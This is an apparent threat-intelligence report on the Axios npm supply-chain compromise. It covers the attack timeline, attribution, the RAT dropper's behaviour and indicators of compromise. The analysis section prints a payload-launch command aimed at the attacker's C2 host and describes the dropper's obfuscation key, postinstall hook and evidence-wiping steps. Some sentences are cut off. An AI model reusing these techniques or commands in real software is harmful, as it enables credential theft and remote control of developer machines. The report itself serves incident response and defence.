On March 31, 2026, North Korean threat actors compromised the npm account of jasonsaayman - the lead maintainer of Axios, the most widely used HTTP client library in the JavaScript ecosystem - and published two backdoored versions that deployed a cross-platform remote access trojan to developer machines, CI/CD pipelines, and cloud build environments worldwide.
Google Threat Intelligence Group (GTIG) attributed the attack to UNC1069, a financially motivated DPRK-nexus threat actor active since at least 2018, based on the RAT's designation as WAVESHAPER.V2, C2 infrastructure linked to AstrillVPN nodes previously used by UNC1069, and corroborating analysis from SentinelOne tying the macOS payload to BlueNoroff - a sub-group of North Korea's Lazarus Group.
The maintainer confirmed he was compromised through social engineering: a group posed as open-source collaborators, leading to the hijacking of both his npm and GitHub accounts.
With approximately 100 million weekly downloads and over 2 million dependent packages, Axios is present in an estimated 80% of cloud and code environments.
The attacker pre-staged a malicious dependency on npm 18 hours before publishing the poisoned Axios releases, hit both active release branches within 39 minutes, and built self-destructing payloads that erased forensic evidence after execution.
Socket.dev's automated scanner detected the malware within 6 minutes. npm removed both versions within approximately 3 hours. In that window, Wiz observed execution of the malicious packages in 3% of affected environments.
" Singapore CSA issued advisory AD-2026-002 - the first known government advisory on the incident.
KEY FACTS
- .What: Lead Axios maintainer's npm and GitHub accounts hijacked via social engineering by DPRK-nexus threat actor UNC1069. Backdoored versions 1.14.1 and 0.30.4 published, injecting a pre-staged malicious dependency (plain-crypto-js@4.2.1) that deployed WAVESHAPER.V2 - a cross-platform RAT targeting macOS, Windows, and Linux.
- .Who: All npm consumers of Axios - approximately 100 million weekly downloads, 2 million+ dependent packages, present in ~80% of cloud and code environments (Wiz).
- .How: UNC1069 social-engineered the lead maintainer by posing as open-source collaborators, compromising both his npm and GitHub accounts. The attacker obtained npm credentials (likely a granular token or session credentials), changed the account email to ifstap@proton.me, and published directly to the npm registry - bypassing the project's GitHub Actions CI/CD pipeline with its OIDC Trusted Publisher binding. Community-filed GitHub issues reporting the compromise were deleted by the attacker using the hijacked GitHub account.
- .Data at Risk: npm tokens, SSH private keys, AWS/cloud API keys, CI/CD secrets, environment variables (.env files), GitHub Personal Access Tokens, and all credentials stored on or accessible from compromised developer machines and build systems. Mandiant CTO Charles Carmakal confirmed "hundreds of thousands of stolen credentials."
- .Actor: UNC1069 (GTIG designation) - financially motivated DPRK-nexus threat actor active since at least 2018. Linked to BlueNoroff, a sub-group of North Korea's Lazarus Group. RAT formally designated WAVESHAPER.V2. Attribution based on C2 infrastructure connection to AstrillVPN nodes previously used by UNC1069, adjacent ASN infrastructure, and SentinelOne corroboration via macOS binary naming conventions. Known for targeting crypto exchanges, software developers at financial institutions, high-tech companies, and VC funds.
- .Exposure Window: Approximately 3 hours (00:21 UTC to 03:15 UTC on March 31, 2026). Malicious dependency plain-crypto-js@4.2.1 was available for approximately 18.5 hours total.
- .C2 Infrastructure: sfrclak[.]com /
142.11.206.73:8000 / campaign ID 6202033. C2 linked to AstrillVPN nodes previously attributed to UNC1069 operations. - .Detection: Socket.dev flagged plain-crypto-js at 00:05:41 UTC (6 minutes after publication). npm unpublished both Axios versions by approximately 03:15 UTC.
- .Execution Rate: 3% of affected environments showed observed execution of malicious packages (Wiz).
- .Downstream Impact: "Hundreds of thousands of stolen credentials" (Charles Carmakal, Mandiant CTO). Stolen secrets expected to enable further supply chain attacks, crypto theft, ransomware, and extortion.
- .Ecosystem Comparison: 12x the weekly download volume of the 2021 ua-parser-js attack (7M weekly downloads).
- .Government Response: Singapore CSA advisory AD-2026-002 - first known government advisory on the incident.
- .Safe Versions: axios@1.14.0 (current branch), axios@0.30.3 (legacy branch). All other Axios versions are unaffected.
- .Weekly Downloads: 100,000,000+
- .Cloud Presence: 80%
- .Exposure Window: 3 hours
- .Execution Rate: 3%
- .Attribution: UNC1069 (DPRK)
WHAT HAPPENED
On March 30, 2026, at 05:57 UTC, a new npm package called plain-crypto-js was published at version 4.2.0 - a clean decoy establishing account history and bypassing "brand-new package" heuristics used by security scanners.
The publisher registered under the email nrwise@proton.me. The package contained 56 cryptographic source files bit-for-bit identical to the legitimate crypto-js library. It looked real because, except for its name, it was real.
Eighteen hours later, at 23:59 UTC on March 30, the attacker published plain-crypto-js@4.2.1. The only change: a postinstall hook was added to package.json pointing to a new file, setup.js - a 4,209-byte obfuscated dropper containing the RAT deployment logic.
Twenty-two minutes after that, at 00:21 UTC on March 31, the compromised jasonsaayman npm account published axios@1.14.1 with the "latest" dist-tag.
The sole modification to Axios's package.json was the addition of "plain-crypto-js": "^4.2.1" as a runtime dependency - a package that never appeared in any legitimate Axios release and is never imported or require()'d anywhere in Axios's 86 source files Thirty-nine minutes later, at 01:00 UTC, axios@0.30.4 was published with the "legacy" dist-tag, carrying the identical malicious dependency.
The dual-branch targeting was deliberate: projects using caret ranges (^1.14.0 or ^0.30.0) in their package.json would automatically resolve to the compromised versions on the next npm install.
The maintainer (jasonsaayman) publicly confirmed the attack vector on April 1, 2026: "I fell victim to a fairly well-known (though not to me) social engineering attack, in which a group posed as someone interested in collaborating on open source or something similar.
" The social engineering campaign compromised both his npm and GitHub accounts. Using the hijacked GitHub account, the attacker deleted community-filed issues reporting the compromise - suppressing early warnings.
npm permanently revoked classic tokens on December 9, 2025, meaning the attacker likely obtained a granular access token or session credentials through the social engineering rather than a pre-existing classic token.
With these credentials, the attacker changed the npm account's registered email to ifstap@proton.me - locking the legitimate maintainer out of account recovery - and published directly to the npm registry via CLI. This bypassed the project's legitimate release mechanism: a GitHub Actions workflow using OIDC Trusted Publisher binding, which ties npm publish operations to specific GitHub repositories, actions, and environments.
The malicious releases lack the OIDC provenance binding and the gitHead field present in every legitimate Axios release. There are no corresponding GitHub commits, tags, or releases.
Post-incident, the maintainer stated he formatted his systems, reset all accounts, and committed to using FIDO security keys.
A collaborator on the project stated they could not revoke access from the compromised account, indicating the compromised account had owner-level permissions that could not be overridden by other maintainers.
Socket.dev's automated malware detection flagged plain-crypto-js@4.2.1 at 00:05:41 UTC on March 31 - six minutes after the malicious version was published.
By approximately 03:15 UTC, npm unpublished both axios@1.14.1 and axios@0.30.4. By 03:25 UTC, npm initiated a security hold on plain-crypto-js. By 04:26 UTC, a security-holder stub replaced the malicious package entirely.
npm updated the "latest" dist-tag to point back to axios@1.14.0.
The total exposure window was approximately 2 hours 53 minutes for axios@1.14.1 and approximately 2 hours 15 minutes for axios@0.30.4. The malicious plain-crypto-js@4.2.1 was available for approximately 18.5 hours.
TECHNICAL ANALYSIS: THE PAYLOAD (WAVESHAPER.V2)
Google Threat Intelligence Group formally designated the cross-platform RAT as WAVESHAPER.V2 in Mandiant's malware taxonomy - an updated version of the WAVESHAPER C++ backdoor previously attributed to UNC1069 operations targeting crypto exchanges and financial institutions.
The dropper (setup.js, 4,209 bytes) used dual-layer obfuscation to evade static analysis:
Layer 1 (_trans_2): String reversal, underscore-to-equals character replacement, then Base64 decoding.
Layer 2 (_trans_1): XOR cipher using the key "OrDeR_7077" with a constant value of 333. The digits 7, 0, 7, 7 survive JavaScript's alphabetic NaN conversion to produce the effective key bytes.
All 18 obfuscated strings - including the C2 URL, Node.js module names (child_process, os, fs), shell commands, and file paths - were hidden behind this scheme.
Upon execution via the npm postinstall hook, the dropper performed OS detection via process.platform and deployed platform-specific payloads:
macOS (darwin): The dropper used curl to download a Mach-O binary from the C2 server (http://sfrclak[.]com:8000/6202033) with the POST body "packages.npm.org/product0" - a string designed to mimic npm registry traffic and evade SIEM rules.
mond, using Apple's reverse-DNS naming convention to masquerade as a legitimate system daemon. Permissions were set to 770. Execution was detached via AppleScript (osascript) running /bin/zsh in the background.
Elastic Security researcher Joe Desimone reverse-engineered the macOS Mach-O binary before the C2 server went offline.
The RAT generated a 16-character unique victim identifier and performed system fingerprinting: hostname, username, macOS version, timezone, CPU architecture (mac_arm or mac_x64), boot time, process enumeration, and directory listings.
It beaconed every 60 seconds via HTTP POST with Base64-encoded data, using a spoofed User-Agent string: "mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)" - Internet Explorer 8 on Windows XP.
The RAT supported four commands: peinject (receives Base64-encoded binaries, deploys them with ad-hoc code signing via the codesign utility to bypass Gatekeeper), runscript (executes arbitrary shell commands or AppleScript via osascript), rundir (enumerates directory structures including /Applications, ~/Library, and ~/Application Support), and kill (terminates the RAT process).
Windows (win32): The dropper located the PowerShell interpreter via the "where" command, copied it to %PROGRAMDATA%\wt.exe (masquerading as Windows Terminal), and created a VBScript file at %TEMP%\6202033.vbs that executed via cscript //nologo with a hidden window.
A PowerShell stage-2 was saved to %TEMP%\6202033.ps1 and executed with -ExecutionPolicy Bypass and -w hidden flags. NET assembly loading into cmd.exe to execute the WAVESHAPER.V2 RAT in memory - avoiding disk-based detection.
The %PROGRAMDATA%\wt.exe copy only executes if the file does not already exist, creating a persistent backdoor that survives package removal, npm cache clearing, and system reboots.
Linux and other platforms: The dropper used curl to download a Python script to /tmp/ld.py from the C2 with POST body "packages.npm.org/product2", then executed it via "nohup python3 /tmp/ld.py http://sfrclak[.]com:8000/6202033 > /dev/null 2>&1 &" - the nohup and background execution detached the process from the npm parent, re-parenting it to PID 1 (init) and severing the parent-child relationship.
ANTI-FORENSIC EVIDENCE DESTRUCTION
After deploying the platform-specific payload, the dropper executed a three-stage evidence destruction sequence:
1. fs.unlink(__filename) - deletes setup.js (the dropper itself).
2. fs.unlink("package.json") - removes the malicious package.json containing the postinstall hook.
3. fs.rename("package.md", "package.json") - installs a clean stub that reports version "4.2.0" instead of the actual "4.2.1".
All three operations were wrapped in a top-level try/catch with an empty handler. If any deletion failed due to permissions or filesystem errors, npm install still exited with code 0, leaving no visible error.
The result: post-infection inspection of node_modules/plain-crypto-js shows a clean-looking directory with no setup.js, no malicious postinstall hook, and a package.json reporting version 4.2.0 - a version that was never malicious.
The npm list command displays the clean version, and diff-based auditing tools see only legitimate crypto-js source files.
The malicious payload, meanwhile, is running as a system daemon, a background service, or a detached Python process - completely outside the npm dependency tree.
StepSecurity's Harden-Runner telemetry captured the full execution sequence in a monitored environment: at 01:30:51 UTC (1.1 seconds into npm install), PID 2401 initiated a curl connection to sfrclak[.]com:8000. At 01:31:27 UTC (36 seconds later, in a different workflow step), PID 2400 - re-parented to PID 1 - established a second connection to the same C2. The 36-second gap corresponds to the dropper's execution time before the evidence swap.
The second connection from a PID 1-parented process proves the RAT persisted beyond npm install completion.
THREAT ACTOR ANALYSIS: UNC1069 / DPRK (UPDATED APRIL 1, 2026)
On April 1, 2026, Google Threat Intelligence Group (GTIG) publicly attributed the Axios compromise to UNC1069, a financially motivated North Korea-nexus threat actor active since at least 2018.
1. Malware lineage: The cross-platform RAT deployed in the Axios attack is formally designated WAVESHAPER.V2 in Mandiant's taxonomy - an updated version of the WAVESHAPER C++ backdoor previously attributed exclusively to UNC1069 operations.
2. C2 infrastructure: The command-and-control infrastructure at sfrclak[.]com connected to AstrillVPN nodes previously used by UNC1069. Adjacent infrastructure on the same ASN has been historically linked to UNC1069 operations.
AstrillVPN is a known DPRK operational tool - North Korean IT workers and threat actors have used AstrillVPN extensively to mask their origin.
3. Corroborating analysis: SentinelOne independently identified that the macOS RAT binary name "macWebT" references BlueNoroff - a sub-group of North Korea's Lazarus Group that specializes in financial theft and cryptocurrency operations.
BlueNoroff is tracked by the US Treasury Department's Office of Foreign Assets Control (OFAC) as part of the Reconnaissance General Bureau.
4. Social engineering TTPs: The confirmed attack vector - posing as open-source collaborators to compromise a developer's accounts - is consistent with UNC1069's documented tradecraft, which now includes AI tools and deepfakes for social engineering campaigns targeting software developers, financial institutions, and cryptocurrency firms.
UNC1069 is known for targeting cryptocurrency exchanges, software developers at financial institutions, high-tech companies, and venture capital funds. The group's operations are financially motivated, generating revenue for the DPRK regime.
Previous UNC1069 campaigns have deployed earlier versions of the WAVESHAPER backdoor against targets in the cryptocurrency and fintech sectors.
John Hultquist, chief analyst at Google Threat Intelligence Group, stated: "The full breadth of this incident is still unclear, but given the popularity of the compromised package, we expect it will have far reaching impacts." Mandiant CTO Charles Carmakal warned that "hundreds of thousands of stolen credentials" were harvested across the broader March 2026 supply chain wave - encompassing Axios, TeamPCP, and related campaigns - and that these secrets will "enable more software supply chain attacks" and lead to "more compromises, crypto theft, ransomware, and extortion events."
The attacker's operational discipline was notable: the malicious dependency was pre-staged 18 hours in advance to avoid "new package" scanner heuristics; three separate OS-specific payloads were pre-built and hosted on the C2 before the Axios versions were published; both release branches were hit within a 39-minute window to maximize coverage; the POST body strings impersonated npm registry traffic to evade network-level detection; and the self-destructing dropper with version spoofing demonstrated awareness of post-incident forensic procedures.
The attacker also used the hijacked GitHub account to delete community-filed issues reporting the compromise - an operational security measure to extend the exposure window.
The C2 infrastructure (sfrclak[.]com, IP 142.11.206.73) was hosted on a single server with no CDN or domain fronting, connected to AstrillVPN nodes.
The HTTP-only (no TLS) communication and the use of a spoofed IE8 User-Agent string are consistent with WAVESHAPER's known communication patterns. The campaign ID 6202033 may encode a date reference (2026-03-30 reversed) but this is speculative.
There is no confirmed connection between the Axios compromise and the concurrent TeamPCP campaign (Trivy, Checkmarx KICS, LiteLLM, Telnyx) or the GlassWorm VS Code extension campaign.
The TTPs differ: TeamPCP exploited GitHub Actions misconfigurations and used automated credential-to-compromise worms (CanisterWorm); GlassWorm used Unicode steganography and Solana blockchain for C2; UNC1069 used social engineering and WAVESHAPER.V2 RAT infrastructure.
The convergence of multiple independent supply chain campaigns targeting developer infrastructure in a single month is operationally significant regardless of coordination.
SUPPLY CHAIN IMPACT ANALYSIS
Axios's position in the JavaScript ecosystem makes this attack's potential blast radius extraordinary:
Scale: Approximately 100 million weekly downloads. Over 2 million dependent packages on npm. Present in approximately 80% of cloud and code environments according to Wiz's telemetry.
The library is embedded in frontend frameworks (React, Vue, Angular applications), backend services (Node.js APIs), mobile applications (React Native), enterprise tooling, and CI/CD pipelines across every major cloud provider.
Version targeting: The attacker published both axios@1.14.1 (with the "latest" dist-tag) and axios@0.30.4 (with the "legacy" dist-tag). This dual-branch strategy targeted two distinct populations.
Projects on the 1.x branch using ^1.14.0 in package.json would resolve to 1.14.1 on the next npm install.
Projects still on the legacy 0.x branch using ^0.30.0 would resolve to 0.30.4. The caret range (^) - npm's default version prefix - automatically accepts minor and patch updates within the specified major version.
Exposure window: The malicious versions were live for approximately 2 hours 53 minutes (1.14.1) and 2 hours 15 minutes (0.30.4). Wiz observed execution in 3% of affected environments during this window.
While no public estimate of total malicious installations exists, the combination of Axios's download velocity and the timing (early UTC hours, overlapping with Asian and European business hours and US late-night CI/CD runs) suggests thousands to tens of thousands of installations.
Secondary contamination: At least two additional npm packages pulled the compromised Axios versions transitively. @qqbrowser/openclaw-qbot@0.0.130 shipped a vendored copy of the tampered axios@1.14.1 with the malicious dependency.
@shadanai/openclaw versions 2026.3.31-1 and 2026.3.31-2 directly vendored the plain-crypto-js dropper. These packages extend the exposure window beyond the 3-hour period during which the malicious Axios versions were live on the registry.
CI/CD pipeline risk: The most critical exposure vector is automated CI/CD pipelines that run npm install without lockfiles or with unpinned dependencies.
In these environments, the malicious version would be pulled automatically during scheduled builds, and the RAT payload - deployed with persistence mechanisms - would survive the build process and potentially compromise build secrets, deployment credentials, and downstream artifacts.
StepSecurity confirmed that the RAT persisted beyond npm install completion, meaning any build system that executed npm install during the exposure window should be treated as compromised regardless of whether Axios is still present in the dependency tree.
Protection mechanisms: Organizations and developers who committed lockfiles (package-lock.json, yarn.lock, pnpm-lock.yaml) created before March 31 and used npm ci (which installs from the lockfile without resolving new versions) were protected from this specific attack.
This is the single most effective defense against supply chain version injection attacks.
WHAT WAS EXPOSED
The data at risk in this incident is not personal information in the traditional sense. It is developer and infrastructure credentials - the keys to enterprise environments:
- .npm access tokens: Developers who ran npm install in the exposure window on machines with stored npm credentials risk token theft. These tokens can be used to publish malicious versions of every package the developer maintains.
- .SSH private keys: RAT directory enumeration (rundir) specifically targets directories where SSH keys are stored (~/.ssh).
- .Cloud API credentials: AWS access keys, GCP service account keys, Azure tokens, and other cloud credentials stored in environment variables or configuration files on developer machines and build servers.
- .CI/CD secrets: GitHub Actions secrets, GitLab CI variables, Jenkins credentials, and deployment tokens accessible during build execution.
- .Environment files: .env files containing database connection strings, API keys, and application secrets.
- .Source code and intellectual property: RAT capabilities include directory enumeration and arbitrary command execution, enabling exfiltration of proprietary source code.
- .Browser sessions and cookies: On developer workstations, the RAT's shell execution capability enables access to browser credential stores.
The cascading risk is significant: a single compromised npm token can be used to compromise every package that developer maintains, creating a recursive supply chain attack. A compromised CI/CD pipeline can inject malicious code into production deployments affecting end users.
A compromised cloud credential can expose customer data, infrastructure, and billing.
TECHNICAL FAILURE CHAIN
1. npm credentials obtained via social engineering without phishing-resistant authentication: UNC1069 social-engineered the maintainer by posing as open-source collaborators, gaining access to both npm and GitHub accounts.
Although npm permanently revoked classic tokens on December 9, 2025, the attacker obtained credentials - likely a granular access token or active session credentials - through the social engineering interaction.
The compromised credentials were sufficient to publish to one of npm's most-downloaded packages. FIDO2 hardware security keys - which are resistant to phishing and social engineering because they bind authentication to the legitimate domain - were not in use on the account.
The maintainer committed to FIDO security keys only after the incident.
2. No mandatory two-factor authentication enforcement for critical packages: npm does not require maintainers of high-download packages to enable phishing-resistant 2FA (such as FIDO2/WebAuthn) for publishing.
The jasonsaayman account did not have phishing-resistant MFA configured, and the credentials obtained through social engineering were sufficient to publish without triggering an additional authentication challenge.
3. Insufficient permission isolation on npm organization: Other Axios collaborators could not revoke access from the compromised jasonsaayman account, indicating owner-level permissions without adequate separation of privilege.
A single compromised owner account was sufficient to publish to the package with no additional approval required.
4. No automated integrity verification between GitHub and npm: While Axios used GitHub Actions with OIDC Trusted Publisher binding for legitimate releases, the npm registry accepted direct CLI publishes from the stolen token without verifying that a corresponding GitHub commit, tag, or CI/CD run existed.
Trusted Publishing was advisory rather than mandatory.
5. No npm-level anomaly detection for behavioral changes: The account's email was changed to an attacker-controlled address and two versions were published via direct CLI (not the usual CI/CD pathway) within 39 minutes - behavioral anomalies that were not automatically flagged or blocked by npm's platform.
6. Postinstall script execution enabled by default: npm executes postinstall hooks by default during package installation. This is the mechanism that allowed the plain-crypto-js dropper to execute automatically.
The --ignore-scripts flag exists but is not the default behavior, and most developers and CI/CD pipelines do not use it.
7. Lack of lockfile enforcement in affected environments: Organizations that ran npm install (which resolves new versions) rather than npm ci (which installs from committed lockfiles) during the exposure window received the malicious versions.
Lockfile-based installation would have prevented the attack entirely.
INDICATORS OF COMPROMISE
Malware Designation:
- .WAVESHAPER.V2 (GTIG/Mandiant taxonomy) - cross-platform RAT, updated version of WAVESHAPER C++ backdoor attributed to UNC1069
Threat Actor Aliases:
- .UNC1069 (Google Threat Intelligence Group / Mandiant)
- .BlueNoroff (sub-group of Lazarus Group / DPRK Reconnaissance General Bureau)
Malicious npm Package Versions:
- .axios@1.14.1 (SHA-1: 2553649f232204966871cea80a5d0d6adc700ca)
- .axios@0.30.4 (SHA-1:
d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71) - .plain-crypto-js@4.2.1 (SHA-1:
07d889e2dadce6f3910dcbc253317d28ca61c766) - .@shadanai/openclaw@2026.3.31-1, @shadanai/openclaw@2026.3.31-2
- .@qqbrowser/openclaw-qbot@0.0.130
Platform-Specific Artifacts (all SHA-256 hashes confirmed by Elastic Security Labs, April 1, 2026):
- .macOS: /Library/Caches/com.apple.act.mond (SHA-256:
92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a) - Mach-O binary, internally referenced as "macWebT" (SentinelOne) - .Windows: %TEMP%\6202033.ps1 (SHA-256:
617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101), %PROGRAMDATA%\wt.exe, %TEMP%\6202033.vbs. Persistence via registry Run key. Reflective .NET assembly loading into cmd.exe for in-memory execution. - .Linux:
/tmp/ld.py(SHA-256:fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf)
Network Indicators:
- .C2 Domain: sfrclak[.]com
- .C2 IP:
142.11.206.73 - .C2 Port: 8000
- .C2 Endpoint: http://sfrclak[.]com:8000/6202033
- .C2 Infrastructure Link: AstrillVPN nodes previously attributed to UNC1069 operations
- .User-Agent: mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)
- .POST Body Markers: packages.npm.org/product0 (macOS), packages.npm.org/product1 (Windows), packages.npm.org/product2 (Linux)
Attacker Accounts:
- .jasonsaayman (compromised npm and GitHub accounts - npm email changed to ifstap@proton.me)
- .nrwise@proton.me (published plain-crypto-js)
Snyk Advisories:
- .SNYK-JS-AXIOS-15850650 (axios)
- .SNYK-JS-PLAINCRYPTOJS-15850652 (plain-crypto-js)
- .SNYK-JS-QQBROWSEROPENCLAWQBOT-15850776 (@qqbrowser/openclaw-qbot)
- .SNYK-JS-SHADANAIOPENCLAW-15850775 (@shadanai/openclaw)
Detection Commands:
- .Check lockfile: grep -E '"axios"' package-lock.json | grep -E '1\.14\.1|0\.30\.4'
- .Check npm tree: npm ls plain-crypto-js
- .Check Bun: grep -E 'axios' bun.lock | grep -E '1\.14\.1|0\.30\.4'
- .Check directory: ls node_modules/plain-crypto-js 2>/dev/null && echo "AFFECTED"
- .Check macOS artifact: ls -la /Library/Caches/com.apple.act.mond
- .Check Windows artifact: dir %PROGRAMDATA%\wt.exe && reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v MicrosoftUpdate
- .Check Linux artifact: ls -la
/tmp/ld.py - .Check network: Block outbound connections to
142.11.206.73and sfrclak[.]com at all network egress points
REGULATORY EXPOSURE
This incident's regulatory exposure is indirect but real.
- .US - FTC Act Section 5: Organizations that fail to implement reasonable supply chain security practices (dependency pinning, lockfile enforcement, script restrictions) may face enforcement for unfair or deceptive practices. The FTC's 2023 consent decree with Drizly established that failure to implement basic software supply chain security constitutes an unfair practice.
- .US - SEC 8-K Disclosure: Publicly traded companies that determine the Axios compromise constitutes or contributes to a material cybersecurity incident must disclose within 4 business days under the SEC's July 2023 cyber disclosure rules.
- .US - CCPA/CPRA: If stolen credentials are used to access California residents' personal information, the organization faces $7,500 per intentional violation.
- .EU - GDPR Article 32: Organizations must implement appropriate technical and organizational measures for security of processing. Failure to enforce lockfiles, restrict script execution, or monitor for anomalous dependency changes in production build systems may constitute a failure to implement appropriate measures. Fines up to 4% of annual global turnover or EUR 20 million.
- .EU - NIS2 Directive: Software supply chain security is explicitly within NIS2's scope for essential and important entities. Organizations subject to NIS2 that were compromised through this attack face mandatory incident reporting obligations.
- .UK - UK GDPR / DPA 2018: Mirrors EU GDPR exposure. ICO enforcement up to GBP 17.5 million or 4% of annual global turnover.
- .Saudi Arabia - PDPL: Organizations processing Saudi residents' data that were compromised through stolen CI/CD credentials face fines up to SAR 5 million. NCA Essential Cybersecurity Controls mandate software supply chain risk management for critical infrastructure.
- .UAE - PDPL (Federal Decree-Law No. 45/2021): Fines up to AED 10 million for data protection failures.
- .Switzerland - revFADP: Personal liability on individuals (not just corporate entities) - with fines up to CHF 250,000 for natural persons responsible for security failures.
The npm registry itself - operated by GitHub (Microsoft) - faces scrutiny for the structural deficiency that allowed a single stolen token to compromise a package with 100 million weekly downloads.
npm's failure to enforce mandatory 2FA on high-impact packages, to detect behavioral anomalies in publishing patterns, or to require provenance verification for all publishes to critical packages represents a systemic platform-level failure.
GitHub announced npm provenance and mandatory 2FA for top packages in 2023 but has not fully enforced these controls.
INTELLIGENCE GAPS
Several critical questions remain unanswered as of April 1, 2026:
1. What is the full extent of downstream credential abuse? Mandiant CTO Charles Carmakal confirmed "hundreds of thousands of stolen credentials" were harvested.
The scope of secondary compromises - supply chain attacks, crypto theft, ransomware, and extortion enabled by these credentials - is unknown and may take weeks or months to materialize.
2. How many installations occurred during the exposure window? Neither npm nor the security firms involved have published a specific count of installations of the malicious versions.
3. What was the C2 server collecting? The sfrclak[.]com server went offline before comprehensive analysis of the server-side component could be completed. The full scope of data exfiltrated from compromised machines is unknown.
4. Were other npm packages targeted by UNC1069? Given the sophistication of the social engineering campaign and UNC1069's known operational tempo, the possibility that other npm maintainers were targeted - successfully or unsuccessfully - cannot be excluded.
5. What specific details of the social engineering interaction led to account compromise?
The maintainer described the attackers as "a group posed as someone interested in collaborating on open source or something similar" but the precise mechanism by which credentials were obtained (credential phishing page, OAuth token theft, session hijacking, malware delivered through collaboration tools) has not been disclosed.
6. Was the jasonsaayman account a secondary compromise from an earlier supply chain attack?
If the maintainer's machine was previously compromised by an infostealer or another supply chain payload, the Axios attack could be a cascading consequence rather than an isolated social engineering success.
ZERO|TOLERANCE Advisory
1. Deploy FIDO2/WebAuthn hardware security keys on all npm and GitHub accounts maintaining packages with significant downstream dependents.
FIDO2 keys are phishing-resistant and would have defeated UNC1069's social engineering attack - even if the maintainer engaged with the attacker, a hardware key cannot be replayed or phished because it binds authentication to the legitimate domain.
The compromised maintainer committed to FIDO keys only after the incident. This single control would have prevented the Axios compromise entirely.
2. Mandate OIDC Trusted Publishing as the exclusive publish mechanism. Configure npm to reject direct CLI publishes for the package, requiring all releases to originate from a verified GitHub Actions workflow with OIDC provenance binding.
The Axios project had this configured but did not make it mandatory - the registry still accepted direct token-based publishes.
3. Commit lockfiles and enforce npm ci in all CI/CD pipelines. Use npm ci (not npm install) in every automated build. npm ci installs from the committed lockfile without resolving new versions, preventing supply chain version injection attacks.
This is the single highest-impact defensive control for any npm-dependent project.
4. Disable postinstall scripts by default in CI/CD environments. Run npm ci --ignore-scripts in automated builds and audit any required lifecycle scripts explicitly.
The Axios RAT deployed entirely through a postinstall hook - disabling script execution eliminates this attack surface.
5. Deploy real-time dependency monitoring with automated blocking.
Use tools such as Socket.dev, Snyk, or Aikido that monitor npm packages for behavioral anomalies (new dependencies, postinstall scripts, obfuscated code, network connections) and block suspicious packages before installation. Socket.dev detected this attack within 6 minutes.
6. Implement multi-party approval for npm publishes on high-impact packages. Require at least two maintainers to approve every npm publish operation. No single compromised account should be sufficient to publish to a package with millions of weekly downloads.
SOURCES
Google Cloud Blog (GTIG attribution), Google Threat Intelligence Group, Elastic Security Labs (IOC confirmation and Windows persistence analysis, April 1 2026), SentinelOne (BlueNoroff/macOS binary correlation), Mandiant (Charles Carmakal - credential theft scope), StepSecurity, Socket.dev, Snyk, Aikido Security, Wiz, Vercel, The Hacker News, The Record (Recorded Future News), SecurityWeek, SecurityAffairs, Security Boulevard, Help Net Security, The Register, Cybernews, Techzine Global, CNN, CyberScoop, VentureBeat, TechCrunch, Nextgov/FCW, iTnews, Tom's Hardware, SOCRadar, Strobes, Security Online, Mondoo, Sophos, Datadog Security Labs, Trend Micro, Bitdefender, Tenable, Picus Security, SANS Institute, Arctic Wolf, Malwarebytes, npm advisory, The Cyber Express, Coinfomania, CSA Singapore (advisory AD-2026-002), Elastic Security (Joe Desimone - macOS RAT reverse engineering)